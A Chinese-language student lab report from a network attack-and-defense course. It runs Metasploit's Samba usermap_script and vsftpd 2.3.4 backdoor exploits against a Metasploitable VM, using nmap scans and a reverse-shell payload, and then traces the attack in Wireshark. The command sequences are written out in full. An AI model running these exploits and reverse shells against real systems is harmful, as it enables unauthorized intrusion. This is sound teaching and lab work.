20242802 2024-2025-2 《网络攻防实践》实践第七周报告
20242802 2024-2025-2 《网络攻防实践》实践第七周报告
1.实践内容
- 利用 Metasploit 渗透测试框架攻击 Linux 靶机上的 Samba 服务 Usermap_script 安全漏洞,以获取目标主机的访问权限。需要启动 Metasploit 软件,加载指定的渗透攻击模块,该模块针对 Samba 服务的 Usermap Script 漏洞,通过向目标系统发送恶意脚本,触发漏洞并执行攻击载荷。选择远程 Shell 作为攻击载荷,可选择正向或反向连接,正向连接由攻击者主动发起连接,而反向连接则由目标系统主动回连攻击者的服务器,具体选择取决于网络环境和目标系统的配置。设置攻击参数,包括目标主机 IP(RHOST)、本地主机 IP(LHOST),确保攻击能够正确执行。执行渗透攻击后,需要验证是否成功获取远程 Shell,并查看获得的权限级别,以判断攻击是否达到预期目标。
- 在攻防对抗实践部分,攻击方需利用 Metasploit 选择 Metasploitable 靶机中的漏洞进行渗透攻击,获取远程控制权,并尝试进一步提升至 root 权限。这一过程不仅涉及漏洞利用技术,还要求攻击者具备权限提升的能力,以获取更高层次的系统控制权。防守方则需使用Wireshark分析攻击过程,提取攻击者的 IP 地址、目标 IP 和端口、攻击发起时间、利用的漏洞以及攻击成功后在命令行输入的信息。
2.实践过程
(1)使用 Metasploit 进行 Linux 远程渗透攻击
将虚拟机都设置为桥接模式,确定Kali-Linux和Metasploitable_ubuntu虚拟机的IP和连通性:
虚拟机名称 | IP地址 |
---|---|
Kali-Linux | 192.168.31.22 |
Metasploitable_ubuntu | 192.168.31.118 |
启动 Metasploit:打开 Kali Linux 虚拟机,启动 Metasploit 软件,选择使用 msfconsole
搜索攻击模块:在 msfconsole 中输入 search usermap_script
命令,搜索到相关的攻击模块。
msfconsole
search usermap_script
选择攻击模块:输入 use 0
命令,查看可用载荷
use 0
show payloads
选择 exploit/multi/samba/usermap_script
渗透攻击模块
设置攻击载荷:输入 set payload cmd/unix/reverse
命令,选择远程 shell 作为攻击载荷。
set payload cmd/unix/reverse
配置攻击参数:
set LHOST 192.168.200.5
set RHOST 192.168.200.197
show options
查看攻击结果:成功获取目标主机的远程 Shell 后,查看攻击目标的IP,确实为192.168.31.118,攻击成功
(2)实践作业:攻防对抗实践
作为攻击方:
确认攻击机和靶机IP 并且测试其连通性:
虚拟机名称 | IP地址 |
---|---|
Kali-Linux | 192.168.31.22 |
Metasploitable_ubuntu | 192.168.31.118 |
扫描目标系统:在 Kali Linux 虚拟机中,使用命令 sudo nmap -sV 192.168.31.118
对 Metasploitable 靶机进行扫描
sudo nmap -sV 192.168.31.118
检测漏洞:进一步使用命令 sudo nmap --script vuln 192.168.31.118
对靶机进行漏洞扫描
sudo nmap --script vuln 192.168.31.118
可以发现例如CVE-2014-3566和CVE-2007-6750等漏洞
重复第一个实验的攻击操作:
设置攻击载荷为 cmd/unix/reverse
,并分别设置 LHOST 和 RHOST 为 192.168.137.22
和 192.168.137.62
msfconsole
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
set LHOST 192.168.137.22
set RHOST 192.168.137.62
show options
exploit
执行攻击并尝试提权:执行攻击命令后,成功获得远程控制权,攻击成功。
作为防御方:
虚拟机名称 | IP地址 |
---|---|
Kali-Linux | 192.168.43.8 |
Metasploitable_ubuntu | 192.168.43.135 |
确认攻击机和靶机IP 并且测试其连通性:
攻击方的攻击操作如上述相似,这里利用了vsftp漏洞:
use exploit/unix/ftp/vsftpd_234_backdoor
set LHOST 192.168.43.8
set RHOST 192.168.43.135
show options
exploit
在wireshark中进行监听,设置监听条件 ip.addr == 192.168.43.8 && ip.addr == 192.168.43.135
,对攻击方和防守方之间的网络通信进行监听。
ip.addr == 192.168.43.8 && ip.addr == 192.168.43.135
跟踪STCP流,查看到攻击者为192.168.43.8,且从4444号端口进行攻击渗透
查看在shell上输入的内容
在/mnt下创建了yyj01和yyj02文件夹
返回靶机查看,发现两文件夹存在
防御结束!
3.学习中遇到的问题及解决
-
问题1:执行攻击后,Metasploit 不返回与目标系统交互的 Shell
-
问题1解决方案:检查攻击机和靶机的连通性,发现在攻击之前改变了网络适配器的模式,攻击机与靶机已无法ping通,将两个虚拟机都设为桥接模式再次进行连通性测试 ping通后重复实验成功
4.实践总结
本次实验与第六次实验有很多相同的地方,但在实验过程中为了更加直接地体会攻守双方的操作,我同时在攻防对抗中作为攻击方和防御方的不同角色,在kali虚拟机上一边在终端使用 Metasploit 进行攻击,一边打开wireshark监听,抓包来查看观察攻击者的 IP 地址、攻击时间、使用的漏洞和 Shellcode 等信息,从防御角度思考如何识别和阻止攻击。